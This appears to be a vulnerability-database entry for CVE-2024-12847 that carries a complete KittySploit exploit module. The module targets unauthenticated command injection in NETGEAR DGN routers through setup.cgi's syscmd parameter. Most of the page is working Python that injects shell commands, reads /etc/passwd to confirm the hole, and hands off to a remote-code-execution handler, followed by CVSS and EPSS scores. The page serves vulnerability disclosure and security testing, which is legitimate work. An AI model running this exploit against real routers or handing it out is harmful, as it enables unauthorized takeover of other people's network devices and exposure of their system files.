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NETGEAR DGN syscmd RCE (CVE-2024-12847)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
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 kittysploit
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Unauthenticated command injection in NETGEAR DGN via setup.cgi todo=syscmd&cmd= parameter.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NETGEAR DGN setup.cgi syscmd RCE (CVE-2024-12847)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'NETGEAR DGN syscmd RCE (CVE-2024-12847)',
        'description': (
            'Exploits CVE-2024-12847 in NETGEAR DGN routers: unauthenticated command '
            'injection via setup.cgi todo=syscmd&cmd= parameter.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-12847'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-12847'],
        'tags': ['netgear', 'router', 'cmdi', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2024_12847_detect']},
        },
    }

    def execute(self, cmd: str) -> str:
        q = urllib.parse.quote(str(cmd).replace(' ', '+'), safe='+')
        path = (
            f'/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd={q}'
            '&curpath=/&currentsetting.htm=1'
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('cat+/etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2024-12847 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'NETGEAR syscmd failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo+{token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

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05 Oct 2026 14:20Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.30364
SSVC
10